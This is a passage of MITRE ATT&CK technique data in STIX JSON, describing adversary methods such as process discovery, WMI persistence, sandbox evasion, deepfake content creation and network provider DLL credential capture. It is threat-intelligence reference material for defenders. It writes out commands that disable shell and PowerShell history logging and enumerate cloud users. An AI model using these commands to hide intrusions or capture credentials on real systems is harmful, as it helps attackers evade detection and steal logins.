                    "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
                },
                {
                    "source_name": "GitHub Raindance",
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance"
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            "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
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            "x_mitre_domains": [
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            "created": "2026-03-25T14:28:15.331Z",
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                    "url": "https://attack.mitre.org/techniques/T1683/002",
                    "external_id": "T1683.002"
                },
                {
                    "source_name": "Europol Deepfakes",
                    "description": "Europol. (2022). FACING REALITY? LAW ENFORCEMENT AND THE CHALLENGE OF DEEPFAKES. Retrieved April 17, 2026.",
                    "url": "https://www.europol.europa.eu/cms/sites/default/files/documents/Europol_Innovation_Lab_Facing_Reality_Law_Enforcement_And_The_Challenge_Of_Deepfakes.pdf"
                },
                {
                    "source_name": "Nov AI Threat Tracker",
                    "description": "Google Threat Intelligence Group. (2025, November 5). GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools. Retrieved March 31, 2026.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/threat-actor-usage-of-ai-tools"
                },
                {
                    "source_name": "FBI 2025 AI Generate Content",
                    "description": "Internet Crime Complaint Center, FBI. (2025). Federal Bureau of Investigation Internet Crime Report, 2025. Retrieved April 17, 2026.",
                    "url": "https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf"
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            "description": "Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals.(Citation: Nov AI Threat Tracker)\n\nContent may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services.(Citation: FBI 2025 AI Generate Content)(Citation: Europol Deepfakes) AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. \n\nAudio-visual content produced through these methods may be used in support of other techniques, such as [Phishing](https://attack.mitre.org/techniques/T1660), [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003), [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Social Engineering](https://attack.mitre.org/techniques/T1684), [Financial Theft](https://attack.mitre.org/techniques/T1657), or [Establish Accounts](https://attack.mitre.org/techniques/T1585).",
            "kill_chain_phases": [
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                    "phase_name": "resource-development"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2017-05-31T21:30:48.728Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1057",
                    "external_id": "T1057"
                },
                {
                    "source_name": "show_processes_cisco_cmd",
                    "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
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            "modified": "2026-05-12T15:12:00.705Z",
            "name": "Process Discovery",
            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)",
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
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            "x_mitre_platforms": [
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                "Linux",
                "macOS",
                "Network Devices",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "created": "2020-02-21T20:56:06.498Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/003",
                    "external_id": "T1562.003"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
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            "modified": "2026-04-14T22:54:31.686Z",
            "name": "Impair Command History Logging",
            "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).",
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            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos",
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
            "created": "2019-12-03T14:15:27.452Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/004",
                    "external_id": "T1053.004"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "name": "Launchd",
            "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
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                    "phase_name": "execution"
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                {
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            "type": "attack-pattern",
            "id": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04",
            "created": "2023-03-30T22:45:00.431Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/008",
                    "external_id": "T1556.008"
                },
                {
                    "source_name": "NPPSPY - Huntress",
                    "description": " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.",
                    "url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"
                },
                {
                    "source_name": "NPPSPY Video",
                    "description": "Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.",
                    "url": "https://www.youtube.com/watch?v=ggY3srD9dYs"
                },
                {
                    "source_name": "NPPSPY",
                    "description": "Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"
                },
                {
                    "source_name": "Network Provider API",
                    "description": "Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"
                },
                {
                    "source_name": "NPLogonNotify",
                    "description": "Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"
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            "modified": "2026-05-12T15:12:00.705Z",
            "name": "Network Provider DLL",
            "description": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)",
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            "x_mitre_contributors": [
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                "Jai Minton"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "created": "2020-01-24T14:07:56.276Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/003",
                    "external_id": "T1546.003"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "url": "https://www.secureworks.com/blog/wmi-persistence"
                },
                {
                    "source_name": "FireEye WMI SANS 2015",
                    "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
                },
                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
                },
                {
                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
                },
                {
                    "source_name": "Microsoft Register-WmiEvent",
                    "description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft MOF May 2018",
                    "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
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            "modified": "2025-10-24T17:49:06.119Z",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe`  \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
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                {
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            "x_mitre_contributors": [
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                "Viren Chaudhari, Qualys"
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            "x_mitre_deprecated": false,
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
            "created": "2020-10-02T16:59:56.648Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/004",
                    "external_id": "T1596.004"
                },
                {
                    "source_name": "DigitalShadows CDN",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
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            "modified": "2025-10-24T17:49:06.210Z",
            "name": "CDNs",
            "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
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                {
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "created": "2020-03-06T21:04:12.454Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/002",
                    "external_id": "T1497.002"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "Unit 42 Sofacy Nov 2018",
                    "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
                },
                {
                    "source_name": "Sans Virtual Jan 2016",
                    "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
                    "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                }
            ],
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            "modified": "2026-05-12T15:12:00.705Z",
            "name": "User Activity Based Checks",
            "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
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            "x_mitre_contributors": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1141",
                    "external_id": "T1141"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html",
                    "external_id": "CAPEC-569"
                },
                {
                    "source_name": "OSX Malware Exploits MacKeeper",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
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            "type": "attack-pattern",
            "id": "attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2",
            "created": "2024-09-25T14:05:59.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1496/004",
                    "external_id": "T1496.004"
                },
                {
                    "source_name": "SentinelLabs SNS Sender 2024",
                    "description": "Alex Delamotte. (2024, February 15). SNS Sender | Active Campaigns Unleash Messaging Spam Through the Cloud. Retrieved September 25, 2024.",
                    "url": "https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Lacework LLMJacking 2024",
                    "description": "Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "Sysdig LLMJacking 2024",
                    "description": "LLMjacking: Stolen Cloud Credentials Used in New AI Attack. (2024, May 6). Alessandro Brucato. Retrieved September 25, 2024.",
                    "url": "https://sysdig.com/blog/llmjacking-stolen-cloud-credentials-used-in-new-ai-attack/"
                },
                {
                    "source_name": "Permiso SES Abuse 2023",
                    "description": "Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.",
                    "url": "https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
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            "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5",
            "created": "2022-05-27T14:06:05.130Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/003",
                    "external_id": "T1585.003"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
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            "modified": "2026-05-12T15:12:00.705Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ",
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                    "phase_name": "resource-development"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "created": "2017-05-31T21:30:57.201Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1072",
                    "external_id": "T1072"
                },
                {
                    "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
                    "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
                },
                {
                    "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
                    "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
                    "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
                },
                {
                    "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
                    "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
